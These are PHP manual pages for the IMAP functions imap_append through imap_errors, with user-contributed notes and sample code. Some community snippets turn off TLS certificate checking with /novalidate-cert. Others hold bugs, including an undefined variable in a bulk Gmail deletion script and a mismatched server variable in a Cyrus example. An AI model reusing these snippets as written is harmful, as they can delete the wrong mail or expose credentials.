You can use PHPMailer ( https://github.com/PHPMailer/PHPMailer/ ) with imap.

<?php
// after creating content of mail you have to run preSend() - part of send() method
$mail->send();
// and you can get whole raw message with getSentMIMEMessage() method
imap_append($imap, $mailserver.'INBOX.Sent',$mail->getSentMIMEMessage(), "\\Seen");
rixsta at hotmail dot com 21-Feb-2013 08:59
Hi,

As we have been struggling with this for some time I wanted to share how we got imap_append working properly with all MIME parts including attachments.  If you are sending email and also wish to append the sent message to the Sent Items folder, I cannot think of an easier way to do this, as follows:

1) Use SwiftMailer to send the message via PHP.
$message = Swift_Message::newInstance("Subject goes here");
(then add from, to, body, attachments etc)
$result = $mailer->send($message);

2) When you construct the message in step 1) above save it to a variable as follows:

$msg = $message->toString(); (this creates the full MIME message required for imap_append()!!  After this you can call imap_append like this:

imap_append($imap_conn,$mail_box,$msg."\r\n","\\Seen");

I hope this helps the readers, and prevents saves people from doing what we started doing - hand crafting the MIME messages :-0
serpent at paradise dot net dot nz 06-Feb-2013 08:10
We couldn't get this function to work properly with MS-Exchange/IMAP, not because there's a problem with a the function as such, but because MS-Exchange changed the content-type in the header from multipart/[anything] to text/plain in every instance.  We set ImapMessagesRetrievalMimeFormat to HtmlAndTextAlternative
on the Exchange server, and that didn't help either.  I even tried wrapping the multipart message in a message/rfc822 wrapper and it reached inside the outer message and tweeked the inner message from multipart/alternative to text/plain.

Messages emailed to the mbox were unaffected, I suggest you try that route instead, and move the relevant messages to where you want them.
bill at dyndns dot org 23-Nov-2011 11:45
Here is how I used this function with an attachment. I used examples from everyone else but made it easier and cleaner to change.

<?php
$authhost="{000.000.000.000:993/validate-cert/ssl}Drafts";

$user="sadasd";
$pass="sadasd";

if ($mbox=imap_open( $authhost, $user, $pass))
{
    $dmy=date("d-M-Y H:i:s");

    $filename="filename.pdf";
    $attachment = chunk_split(base64_encode($filestring));

    $boundary = "------=".md5(uniqid(rand()));

    $msg = ("From: Somebody\r\n"
        . "To: test@example.co.uk\r\n"
        . "Date: $dmy\r\n"
        . "Subject: This is the subject\r\n"
        . "MIME-Version: 1.0\r\n"
        . "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n"
        . "\r\n\r\n"
        . "--$boundary\r\n"
        . "Content-Type: text/html;\r\n\tcharset=\"ISO-8859-1\"\r\n"
        . "Content-Transfer-Encoding: 8bit \r\n"
        . "\r\n\r\n"
        . "Hello this is a test\r\n"
        . "\r\n\r\n"
        . "--$boundary\r\n"
        . "Content-Transfer-Encoding: base64\r\n"
        . "Content-Disposition: attachment; filename=\"$filename\"\r\n"
        . "\r\n" . $attachment . "\r\n"
        . "\r\n\r\n\r\n"
        . "--$boundary--\r\n\r\n");

    imap_append($mbox,$authhost,$msg, "\\Draft");

    imap_close($mbox);
}
else
{
    echo "<h1>FAIL!</h1>\n";
}

?>

Hope this helps someone.
Tigggger 08-Aug-2011 09:30
I encountered 3 problems when attempting to get my server to copy messages to the sent folder.

1. Wouldn't login until I added /novalidate-cert
2. No code example of getting the date sent
3. Including an attachment

Hope this code helps others

<?php
$dmy=date("d-M-Y H:i:s");
$dmy.= " +0100"; // Had to do this bit manually as server and me are in different timezones
$stream=@imap_open("{mail.example.com/novalidate-cert}INBOX.Sent", "username", "password");
$boundary = "------=".md5(uniqid(rand()));
$header = "MIME-Version: 1.0\r\n";
$header .= "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n";
$header .= "\r\n";
$file="../path_to/filename.pdf";
$filename="filename.pdf";
$ouv=fopen ("$file", "rb");$lir=fread ($ouv, filesize ("$file"));fclose
($ouv);
$attachment = chunk_split(base64_encode($lir));
$msg2 .= "--$boundary\r\n";
$msg2 .= "Content-Transfer-Encoding: base64\r\n";
$msg2 .= "Content-Disposition: attachment; filename=\"$filename\"\r\n";
$msg2 .= "\r\n";
$msg2 .= $attachment . "\r\n";
$msg2 .= "\r\n\r\n";
$msg3 .= "--$boundary--\r\n";
imap_append($stream,"{mail.example.com/novalidate-cert}INBOX.Sent","From: Somebody\r\n"."To: test@example.co.uk\r\n"."Date: $dmy\r\n"."Subject: This is the subject\r\n"."$header\r\n"."$msg2\r\n"."$msg3\r\n");
imap_close ($stream);
?>
kaminski at istori dot com 15-Aug-2010 08:52
The date format string to use when creating $internal_date is 'd-M-Y H:i:s O'.
chris at sma-sportsmgmt dot com 07-Feb-2008 11:06
I spend most of today refining the example to make it work properly when saving to the Inbox.Sent folder.

The append command now looks like:

    $return = imap_append($stream,$mailbox_addr
                       , "From: $fromReply\r\n"
                       . "To: $to\r\n"
                       . "Subject: $subject\r\n"
                       . "Date: $now  \r\n"
              . "X-Mailer: Cmail_v2.0 \r\n"
                       . "X-Originating-IP: $ip_addr \r\n"
                       . "MIME-Version: 1 \r\n"
                       . "Content-Type: text/html;\r\n\tcharset=\"ISO-8859-1\"\r\n"
                       . "Content-Transfer-Encoding: 8bit \r\n"
                       . "\r\n\r\n"
                       . "$wk_msg\r\n"
                       );

This inserts the current date into the email and lets it support html content. The one thing that I haven't got working yet is including attachments. I presumably have to make the boundaries and attachment content part of the message body.

Chris
jille at DIESPAMMERShexon dot cx 03-May-2007 07:36
The last argument, $options, are flags like for use with imap_setflag_full.
It took a while before I found out
svicentemolina at gmail dot com 17-Jan-2007 07:57
I have used this function to copy all the emails of one account from one server to another. The problem was that this function don't copy the original receiving date for each message.
To add a fifth field to provide the date, I have made some changes at some php source files following the steps described in http://www.zend.com/lists/php-dev/200303/msg00843.html and it has worked fine.
The correct date format is the returned by the function mail_date in c-client/mail.c source file, for instance: "17-Jan-2007 10:00:01 +0100"
bithive 23-Jun-2003 03:26
The parameter description is misleading.  You can pass a string of flags such as '\Seen' [see imap_setflag_full()] as the last argument.  In the other imap functions, 'options' seems to usually refer to a bitmask, not message flags.
michel dot jansens at ulb dot ac dot be 29-Apr-2003 07:29
I use imap_append() to decode message/rfc822 attachments type(embedded emails):

$attachment = imap_fetchbody($mbox,$mailuid,$atpos,FT_UID);
$attachment = imap_base64($attachment);
$res =  imap_append($mbox,mboxspec("INBOX"),$attachment);
//the embedded email is now a normal mail in my INBOX
bluebiru78 at hotmail dot com 12-Jun-2002 12:24
i used imap_append to copy any composed message into INBOX.Sent folder..

$app = imap_append($stream,"{" . $connectstring . "}INBOX.Sent","$header\r\n" ."$mbody\r\n");

if (!$app) {
 error("Email copying to Sent folder FAILED!");
}
owain at vaughan dot com 01-Aug-2001 06:49
With SIMS IMAP server you also need to use \r\n as a line terminator, otherwise you will be able to add all the header lines correctly, but the body of the message will not be saved.<br>
You can use \n by itself for each header line, but when creating the blank line between the headers and the body you must use \r\n\r\n
jesper at angelo dot dk 14-Sep-1999 09:13
Please observe that imap_append() do not support NNTP posting. Use fsockopen() instead, and do the work yourself.


Decode BASE64 encoded text

  • ? imap_append
  • imap_binary ?
  • PHP Manual
  • IMAP 函数
  • Decode BASE64 encoded text

imap_base64

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_base64 — Decode BASE64 encoded text

说明

imap_base64(string $string): string|false

Decodes the given BASE-64 encoded string.

参数

string

The encoded text

返回值

Returns the decoded message as a string, 或者在失败时返回 false.

参见

  • imap_binary() - Convert an 8bit string to a base64 string
  • base64_encode() - 使用 MIME base64 对数据进行编码
  • base64_decode() - 对使用 MIME base64 编码的数据进行解码
  • » RFC2045, Section 6.8

User Contributed Notes

chris at deliens dot be 04-Mar-2011 07:45
Looks like this function has exactly the same behavior as base64_decode($test, true) -> it returns FALSE if $text contains characters outside the Base64 alphabet, although this isn't documented here.


Convert an 8bit string to a base64 string

  • ? imap_base64
  • imap_body ?
  • PHP Manual
  • IMAP 函数
  • Convert an 8bit string to a base64 string

imap_binary

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_binary — Convert an 8bit string to a base64 string

说明

imap_binary(string $string): string|false

Convert an 8bit string to a base64 string according to » RFC2045, Section 6.8.

参数

string

The 8bit string

返回值

Returns a base64 encoded string, 或者在失败时返回 false.

参见

  • imap_base64() - Decode BASE64 encoded text

User Contributed Notes

phunction.sf.net 10-Jun-2010 06:26
Calling this function is the same as doing:

<?php

chunk_split(base64_encode($string), 60);

?>


Read the message body

  • ? imap_binary
  • imap_bodystruct ?
  • PHP Manual
  • IMAP 函数
  • Read the message body

imap_body

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_body — Read the message body

说明

imap_body(IMAP\Connection $imap, int $message_num, int $flags = 0): string|false

imap_body() returns the body of the message, numbered message_num in the current mailbox.

imap_body() will only return a verbatim copy of the message body. To extract single parts of a multipart MIME-encoded message you have to use imap_fetchstructure() to analyze its structure and imap_fetchbody() to extract a copy of a single body component.

参数

imap

IMAP\Connection 实例。

message_num

The message number

flags

The optional flags are a bit mask with one or more of the following:

  • FT_UID - The message_num is a UID
  • FT_PEEK - Do not set the \Seen flag if not already set
  • FT_INTERNAL - The return string is in internal format, will not canonicalize to CRLF.

返回值

Returns the body of the specified message, as a string, 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

User Contributed Notes

theloverkills at gmail dot com 26-Jan-2017 10:45
Please note that the UID is NOT unique.
UID of the email may be not unique on the server (2 messages in different folders may have same UID).

Basically, don't use the UID as a unique identifier.
deenfirdoush at gmail dot com 14-Dec-2009 07:08
Simple example on how to read body message of the recent mail.

<?php
$imap = imap_open("{pop.example.com:995/pop3/ssl/novalidate-cert}", "username", "password");

if( $imap ) {

     //Check no.of.msgs
     $num = imap_num_msg($imap);

     //if there is a message in your inbox
     if( $num >0 ) {
          //read that mail recently arrived
          echo imap_qprint(imap_body($imap, $num));
     }

     //close the stream
     imap_close($imap);
}
?>


Read the structure of a specified body section of a specific message

  • ? imap_body
  • imap_check ?
  • PHP Manual
  • IMAP 函数
  • Read the structure of a specified body section of a specific message

imap_bodystruct

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_bodystruct — Read the structure of a specified body section of a specific message

说明

imap_bodystruct(IMAP\Connection $imap, int $message_num, string $section): stdClass|false

Read the structure of a specified body section of a specific message.

参数

imap

IMAP\Connection 实例。

message_num

The message number

section

The body section to read

返回值

Returns the information in an object, 或者在失败时返回 false. For a detailed description of the object structure and properties see imap_fetchstructure().

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

参见

  • imap_fetchstructure() - Read the structure of a particular message

User Contributed Notes

There are no user contributed notes for this page.


Check current mailbox

  • ? imap_bodystruct
  • imap_clearflag_full ?
  • PHP Manual
  • IMAP 函数
  • Check current mailbox

imap_check

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_check — Check current mailbox

说明

imap_check(IMAP\Connection $imap): stdClass|false

Checks information about the current mailbox.

参数

imap

IMAP\Connection 实例。

返回值

Returns the information in an object with following properties:

  • Date - current system time formatted according to » RFC2822
  • Driver - protocol used to access this mailbox: POP3, IMAP, NNTP
  • Mailbox - the mailbox name
  • Nmsgs - number of messages in the mailbox
  • Recent - number of recent messages in the mailbox

Returns false on failure.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

示例

Example #1 imap_check() example

<?php

$imap = imap_check($imap_stream);
var_dump($imap);

?>

以上示例的输出类似于：

object(stdClass)(5) {
  ["Date"]=>
  string(37) "Wed, 10 Dec 2003 17:56:54 +0100 (CET)"
  ["Driver"]=>
  string(4) "imap"
  ["Mailbox"]=>
  string(54)
  "{www.example.com:143/imap/user="foo@example.com"}INBOX"
  ["Nmsgs"]=>
  int(1)
  ["Recent"]=>
  int(0)
}

User Contributed Notes

JUNIOR TELLO 27-Jan-2006 06:43
You can NOT prevent imap_check from flagging new/recent messages when using POP3 enabling the "/readonly" or OP_READONLY flags or options.
erik at phpcastle dot com 13-Dec-2005 07:49
The imap_check ($stream); function will return real-time information about the e-mail box (at least imap) during one connection :)
28-Oct-2004 12:21
You can prevent imap_check from flagging new/recent messages as checked by calling imap_open with the "/readonly" or OP_READONLY flags.
rasmus at flajm dot com 18-Dec-2003 08:06
Running this on a mailbox will mark recent/new messages as checked.


Clears flags on messages

  • ? imap_check
  • imap_close ?
  • PHP Manual
  • IMAP 函数
  • Clears flags on messages

imap_clearflag_full

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_clearflag_full — Clears flags on messages

说明

imap_clearflag_full(
IMAP\Connection $imap,
string $sequence,
string $flag,
int $options = 0
): bool

This function causes a store to delete the specified flag to the flags set for the messages in the specified sequence.

参数

imap

IMAP\Connection 实例。

sequence

A sequence of message numbers. You can enumerate desired messages with the X,Y syntax, or retrieve all messages within an interval with the X:Y syntax

flag

The flags which you can unset are "\\Seen", "\\Answered", "\\Flagged", "\\Deleted", and "\\Draft" (as defined by » RFC2060)

options

options are a bit mask and may contain the single option:

  • ST_UID - The sequence argument contains UIDs instead of sequence numbers

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

参见

  • imap_setflag_full() - Sets flags on messages

User Contributed Notes

info at sharoff dot org 16-Oct-2017 09:42
<?php

$connection = imap_open(...);
$messageUid = 123;

imap_clearflag_full($connection, $messageUid, '\\Seen', ST_UID);
Nohado 26-Aug-2010 07:41
I got a note that:

if u want to set a mail to "//Unseen", which not exists,
do it like this:

imap_clearflag_full($your_imap_connection,
$number_of_message,"//Seen");

but, remember to do
imap_close($imap, CL_EXPUNGE);
@ the END! so that it will be confirmed!

Cheers,
Nohado
Mark Hill 30-Jul-2009 03:36
Remember to specify your flags like '\\Seen' rather than "\\Seen".

Of course, flags are an IMAP feature, not a POP feature.

Resetting \\Seen works from PHP 4.3 works fine on the modern mail servers I've tested.
21-Nov-2005 09:42
imap_clearflag_full() and imap_setflag_full() seem to only change messageflags permanently with IMAP connections, not with POP3 connections.
calmdown at abendstille dot at 16-Jan-2003 05:23
This function seems not to save the \\Seen flag permanently.

Testet on Win NT IIS 4.0 PHP 4.3 and imap-mail-server


Close an IMAP stream

  • ? imap_clearflag_full
  • imap_create ?
  • PHP Manual
  • IMAP 函数
  • Close an IMAP stream

imap_close

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_close — Close an IMAP stream

说明

imap_close(IMAP\Connection $imap, int $flags = 0): bool

Closes the imap stream.

参数

imap

IMAP\Connection 实例。

flags

If set to CL_EXPUNGE, the function will silently expunge the mailbox before closing, removing all messages marked for deletion. You can achieve the same thing by using imap_expunge()

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

参见

  • imap_open() - Open an IMAP stream to a mailbox

User Contributed Notes

There are no user contributed notes for this page.


别名 imap_createmailbox

  • ? imap_close
  • imap_createmailbox ?
  • PHP Manual
  • IMAP 函数
  • 别名 imap_createmailbox

imap_create

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_create — 别名 imap_createmailbox()

说明

此函数是该函数的别名： imap_createmailbox().

User Contributed Notes

There are no user contributed notes for this page.


Create a new mailbox

  • ? imap_create
  • imap_delete ?
  • PHP Manual
  • IMAP 函数
  • Create a new mailbox

imap_createmailbox

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_createmailbox — Create a new mailbox

说明

imap_createmailbox(IMAP\Connection $imap, string $mailbox): bool

Creates a new mailbox specified by mailbox.

参数

imap

IMAP\Connection 实例。

mailbox

The mailbox name, see imap_open() for more information. Names containing international characters should be encoded by imap_utf7_encode()

Warning

Passing untrusted data to this parameter is insecure, unless imap.enable_insecure_rsh is disabled.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

示例

Example #1 imap_createmailbox() example

<?php
$mbox = imap_open("{imap.example.org}", "username", "password", OP_HALFOPEN)
or die("can't connect: " . imap_last_error());

$name1 = "phpnewbox";
$name2 = imap_utf7_encode("phpnewb?x"); // phpnewb&w7Y-x

$newname = $name1;

echo "Newname will be '$name1'<br />\n";

// we will now create a new mailbox "phptestbox" in your inbox folder,
// check its status after creation and finally remove it to restore
// your inbox to its initial state

if (@imap_createmailbox($mbox, imap_utf7_encode("{imap.example.org}INBOX.$newname"))) {
$status = @imap_status($mbox, "{imap.example.org}INBOX.$newname", SA_ALL);
if ($status) {
echo "your new mailbox '$name1' has the following status:<br />\n";
echo "Messages: " . $status->messages . "<br />\n";
echo "Recent: " . $status->recent . "<br />\n";
echo "Unseen: " . $status->unseen . "<br />\n";
echo "UIDnext: " . $status->uidnext . "<br />\n";
echo "UIDvalidity:" . $status->uidvalidity . "<br />\n";

if (imap_renamemailbox($mbox, "{imap.example.org}INBOX.$newname", "{imap.example.org}INBOX.$name2")) {
echo "renamed new mailbox from '$name1' to '$name2'<br />\n";
$newname = $name2;
} else {
echo "imap_renamemailbox on new mailbox failed: " . imap_last_error() . "<br />\n";
}
} else {
echo "imap_status on new mailbox failed: " . imap_last_error() . "<br />\n";
}

if (@imap_deletemailbox($mbox, "{imap.example.org}INBOX.$newname")) {
echo "new mailbox removed to restore initial state<br />\n";
} else {
echo "imap_deletemailbox on new mailbox failed: " . implode("<br />\n", imap_errors()) . "<br />\n";
}

} else {
echo "could not create new mailbox: " . implode("<br />\n", imap_errors()) . "<br />\n";
}

imap_close($mbox);
?>

参见

  • imap_renamemailbox() - Rename an old mailbox to new mailbox
  • imap_deletemailbox() - Delete a mailbox

User Contributed Notes

tiznull 20-Mar-2009 11:44
One should understand that even though it says "create mailbox", you are really creating a FOLDER. Now, as a imap admin you can create mailboxes and more with this function.

So in reality, you are always creating folders when creating "mailboxes". Mail admin's get this, but programmers may not understand the concept completely.

If you auth a single user account and use these functions, they will not create mailboxes where mail is delivered, they will actually create a folder where you can copy messages to.

Here is a translation:
imap_createmailbox = create a folder in the account for the current authenticated user's imap session (imap_open)
imap_deletemailbox = delete a folder (and the email in it) for the current authenticated user's imap session (imap_open)
imap_getmailboxes = get all your folders for the current authenticated user's imap session (imap_open)
imap_renamemailbox = Rename a folder for the current authenticated user's imap session (imap_open)

================

Here is a quick class to login to an account, generate all of your base folders, and return the connection, success message and returns all the base folders for an imap account using PHP5:

<?php

class Imap {
    public $folders;
    public $connection;

    public function login($user, $pass) {
        $mbox = @imap_open("{imap.example.org:143}", $user, $pass);
        if(!$mbox)
            return ('Your login failed for user <strong>'.$user.'</strong>. Please try to enter your username and password again.<br />');

        // Login worked, let us begin!!!!....

        // gather folder lost...
        $fldrs_made = 0;
        $folders = imap_listmailbox($mbox, "{localhost:143}", "*");
        // create the default folders....
        if(1 === mailgui::create_default_folders($mbox,$folders)) {
            $folders = imap_listmailbox($mbox, "{localhost:143}", "*");
            $fldrs_made = 1;
        }

        sort($folders);

        $this->folders = $folders;
        $this->connection = $mbox;

        if(1 === $fldrs_made)
            return ('User logged in successfully as '.$user.'. This is your first time logging in, welcome to our webmail!!!<br />');
        else
            return ('User logged in successfully as '.$user.'.<br />');
    }
    private function create_default_folders($imap_stream, $folders) {
        $change=0;
        if(!in_array('{imap.example.org}TRASH',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}TRASH"));
            $change=1;
        }
        if(!in_array('{imap.example.org}SENT',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}SENT"));
            $change=1;
        }
        if(!in_array('{imap.example.org}SPAM',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}SPAM"));
            $change=1;
        }
        if(!in_array('{imap.example.org}SENT',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}SENT"));
            $change=1;
        }
        if(!in_array('{imap.example.org}SENT',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}DRAFTS"));
            $change=1;
        }
        if(!in_array('{imap.example.org}MY_FOLDERS',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}PERSONAL EMAIL"));
            $change=1;
        }
        return $change;
    }
    public function close_mail_connection() {
        @imap_close($this->connection);
    }
}

// usage, create a form, post it....
if($_POST['imap_username'] && $_POST['imap_password']) {
    $imap_login = new Imap();
    $imap_login->login($_POST['imap_username'],$_POST['imap_password']);

    // Do some mail stuff here, like get headers...., use obj connection
    $message_headers = imap_mailboxmsginfo($imap_login->connection);

    // show the folders....
    print_r($imap_login->folders, true);

    print '<br /><hr size="1" noshade />';

    print_r($message_headers, true);

    // close the connection
    $imap_login->close_mail_connection();
}

?>


Mark a message for deletion from current mailbox

  • ? imap_createmailbox
  • imap_deletemailbox ?
  • PHP Manual
  • IMAP 函数
  • Mark a message for deletion from current mailbox

imap_delete

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_delete — Mark a message for deletion from current mailbox

说明

imap_delete(IMAP\Connection $imap, string $message_nums, int $flags = 0): bool

Marks messages listed in message_nums for deletion. Messages marked for deletion will stay in the mailbox until either imap_expunge() is called or imap_close() is called with the optional parameter CL_EXPUNGE.

参数

imap

IMAP\Connection 实例。

message_nums

A string representing one or more messages in IMAP4-style sequence format ("n", "n:m", or combination of these delimited by commas).

flags

You can set the FT_UID which tells the function to treat the message_nums argument as a UID.

返回值

Returns true.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

示例

Example #1 imap_delete() example

<?php

$mbox = imap_open("{imap.example.org}INBOX", "username", "password")
or die("Can't connect: " . imap_last_error());

$check = imap_mailboxmsginfo($mbox);
echo "Messages before delete: " . $check->Nmsgs . "<br />\n";

imap_delete($mbox, 1);

$check = imap_mailboxmsginfo($mbox);
echo "Messages after delete: " . $check->Nmsgs . "<br />\n";

imap_expunge($mbox);

$check = imap_mailboxmsginfo($mbox);
echo "Messages after expunge: " . $check->Nmsgs . "<br />\n";

imap_close($mbox);
?>

注释

Note:

IMAP mailboxes may not have their message flags saved between connections, so imap_expunge() should be called during the same connection in order to guarantee that messages marked for deletion will actually be purged.

参见

  • imap_undelete() - Unmark the message which is marked deleted
  • imap_expunge() - Delete all messages marked for deletion
  • imap_close() - Close an IMAP stream

User Contributed Notes

Daniel Dafoe 03-Mar-2016 11:24
Just so anyone using this function is aware: if you mark an email to be deleted from a mailbox, that flag does not persist. You need to call imap_expunge() or use the  CL_EXPUNGE option with imap_close() to remove the marked email in the same PHP script you marked it in.

I hope this helps someone out.
rueda dot raul at gmail dot com 05-Dec-2013 02:22
This function seems not to work on "[Gmail]/All Mail" mailbox. This is because Gmails keeps only one copy of the message and mailboxes are no more than labels.
Deleting a message from a mailbox only removes that label (except for "All Mail" mailbox).
To delete from "All Mail" you have to use imap_mail_move() function and move the message to "[Gmail]/Trash" mailbox.

Note: Names of mailboxes in Gmail depends on the language you're using.  E.g.: in Spanish "All Mail" is "Todos" and "Trash" is "Papelera".
erational 25-Mar-2013 02:26
the function is using the message number (and not the uid !)
$uid = $mail->uid;
$msgno = $mail->msgno;

if you want to use the uid, simply option value
imap_delete($mbox, $uid, FT_UID);
Olle 01-Nov-2012 07:46
I couldn't get imap_delete to work when I used it with pop3. Instead i wrote:
<?php
function pop3_dele($connection,$message)
{
    $status = imap_setflag_full($connection, '1:'.$message, '\\Deleted');
    imap_expunge($connection);
    return $status;

    //return(imap_delete($connection,trim($message)));
}
?>
thisemailaddress at gmail dot com 23-Sep-2009 10:48
In case you feel the need to kill all emails from before a certain year on your Gmail account, this would work:

<?php
error_reporting(E_ALL ^ (E_NOTICE | E_WARNING));

echo "parsing ini file...\n";
$ini = parse_ini_file('g.ini');
$user = $ini['user'];
$pass = $ini['pass'];
$year = $ini['year'];
echo "account {$user} - killing msgs from before {$year}\n\n";

echo "connecting...\n";
$imap = imap_open("{imap.gmail.com:993/imap/ssl/novalidate-cert}[Gmail]/All Mail", $user, $pass) or die("can't connect: " . imap_last_error() . "\n");

echo "checking current mailbox...\n";
$mbox = imap_check($imap);

echo "fetching overview...\n";
$flaggedForDelete = 0;
for($n = 0; $n < $mbox->Nmsgs; $n++) {
    echo "processing {$n} of {$mbox->Nmsgs}...\r";
    $hdr = imap_fetchheader($imap, $n);
    preg_match('/^Date: (.*?)$/m', $hdr, $matches);
    $date = date_parse(strtotime($matches[1]));
    if($date['year'] < $year) {
        imap_delete($imap, $msg->msgno);
        $flaggedForDelete++;
    }
}

echo "expunging mailbox ({$flaggedForDelete} messages flagged)... ";
echo ((imap_expunge($imap)) ? "ok" : "failed!")."\n";
imap_close($imap);

?>
Alex 23-Apr-2009 12:00
I think you don't have to give a range to imap_delete() if you want to delete a single one.

This works well:

<?php

imap_delete($conn,trim($msgno));

?>
chris at financialservicesonline dot com dot au 28-Jan-2009 03:54
After a little experimentation i found out how to mark a single message for deletion...

<?php

$msgid = '5'; //For example

imap_delete($mbox, "$msgid:$msgid");

?>

imap_delete() seems to want a range, so to select one, simply range from your id to your id.

Hope this helps.
iwantsimplelife at lycos dot com 12-Jan-2009 01:40
Somehow, when ever I try to delete an email using the message number returned by imap_header, any email with a message number below 999 will fail.

I discovered that the imap_header will pad the message number with spaces. You will need to trim the number before calling imap_delete.

I am using qmail and it took me over a month to figure it out.

Hope this will be helpful to some poor soul out there facing the same problem.
jacky at jackyhome dot myvnc dot com 09-Nov-2003 01:42
// is not a complete code but enough to clear out an entire mailbox.
// hope this can save your time :-)

<?php

if (isset($_REQUEST['DoNow']))
{
  # PULL ADDITIONAL FILES
  include_once ("common.php");

  $conn = @imap_open("\{$server/$serverType}Trash", $user, $pass)
  or die("Connection to folder failed");

  $headers = @imap_check($conn);
  ($headers->Nmsgs > 0) or die("Trash is empty already !");

  // delete email(s)
  @imap_delete($conn,'1:*');   // to clear out an entire mailbox.
  @imap_expunge($conn);
  echo "Trash is empty.";

  imap_close($conn);
}
else
{
  echo "<form name='formA' action='".$_SERVER['PATH_INFO']."' method='POST'>"; ?>
  Are you sure to empty trash ?
  <p>
  <input type="submit" value="Go Ahead" name="DoNow">&nbsp;
  <input type="button" value="Cancel" name="Cancel" onClick='javascript:self.history.go(-1)'></form></p>
<?php
} ?>
James G 09-Apr-2003 09:05
I had some major issues deleting emails using this function.  Using IIS 5.0 and a win based Mail Server, I could not delete the emails individually.

My script merely needed to check the emails and update the database for bounce backs, after which I simply wanted to erase all emails.

If imap_delete($mbox,$email->MsgNo) just isnt working for you, you can try using

    imap_delete($mbox,'1:*');

to clear out an entire mailbox.

Hope this helps cause it drove me insane for about 5 hours.  :)


Delete a mailbox

  • ? imap_delete
  • imap_errors ?
  • PHP Manual
  • IMAP 函数
  • Delete a mailbox

imap_deletemailbox

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_deletemailbox — Delete a mailbox

说明

imap_deletemailbox(IMAP\Connection $imap, string $mailbox): bool

Deletes the specified mailbox.

参数

imap

IMAP\Connection 实例。

mailbox

The mailbox name, see imap_open() for more information

Warning

Passing untrusted data to this parameter is insecure, unless imap.enable_insecure_rsh is disabled.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

参见

  • imap_createmailbox() - Create a new mailbox
  • imap_renamemailbox() - Rename an old mailbox to new mailbox
  • imap_open() - Open an IMAP stream to a mailbox for the format of mbox

User Contributed Notes

sanin at kset dot org 10-Oct-2006 08:27
When deleting user account(s) from IMAP server don't forget to put full server name and port. Also need to be logged as IMAP admin and set ACL.
This worked for Cyrus:

<?php
//Credentials
$cyrusadmin_username="cyrus";
$cyrusadmin_password="cyruspassword";
$cyrus_serverip="fellowship.ring.net";

//User to delete
$username="frodoBaggins";

//Open the connection to IMAP server (Cyrus)
   $mbox=imap_open("{".$serverip.":143}",$cyrusadmin_username, $cyrusadmin_password, OP_HALFOPEN)
            or die('IMAP Could not connect because '.imap_last_error());
//Set ACL - Give rights to $cyrusadmin_username to delete mailbox
   imap_setacl ($mbox, "user.".$username, $cyrusadmin_username, "lrswipcda")
            or die('Could not setacl on mailbox');
//Delete mailbox
   imap_deletemailbox($mbox,"{".$serverip.":143}user.".$username)
            or die('Could not delete mailbox');
?>
kenstumpf<a>hotmail.com 08-Jan-2004 12:10
Recent versions of the Cyrus imapd define mailbox ACLs as follows:

c (create)
The user may create new sub-mailboxes of the mailbox, or delete or rename the current mailbox.

d (delete)
The user may store the "Deleted" flag, and perform expunges.

This means to delete a mailbox, you will need to give the user you are connecting with via imap_open() "c" rights on the mailbox in order for imap_deletemailbox() to work.  Setting "d" rights for yourself is not the same.

Check the documentation for your version of Cyrus imapd.


Returns all of the IMAP errors that have occurred

  • ? imap_deletemailbox
  • imap_expunge ?
  • PHP Manual
  • IMAP 函数
  • Returns all of the IMAP errors that have occurred

imap_errors

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_errors — Returns all of the IMAP errors that have occurred

说明

imap_errors(): array|false

Gets all of the IMAP errors (if any) that have occurred during this page request or since the error stack was reset.

When imap_errors() is called, the error stack is subsequently cleared.

参数

此函数没有参数。

返回值

This function returns an array of all of the IMAP error messages generated since the last imap_errors() call, or the beginning of the page. Returns false if no error messages are available.

参见

  • imap_last_error() - Gets the last IMAP error that occurred during this page request
  • imap_alerts() - Returns all IMAP alert messages that have occurred

User Contributed Notes

olliejones at gmail dot com 01-Apr-2023 05:17
This can generate the string "Mailbox is empty" right after a call to imap_open().  That's not an error.  That means something like this is not good enough to know the open failed due to a wrong password or host name or whatever. This

  $imap = @imap_open( $mailbox, $user, $pass);
  $errors = @imap_errors();
  if ( $errors ) {
      echo 'Login failed: ' . implode ('; ', $errors );
  }

can output "Login failed: Mailbox is empty" which is silly.

Instead, check the return value from imap_open().

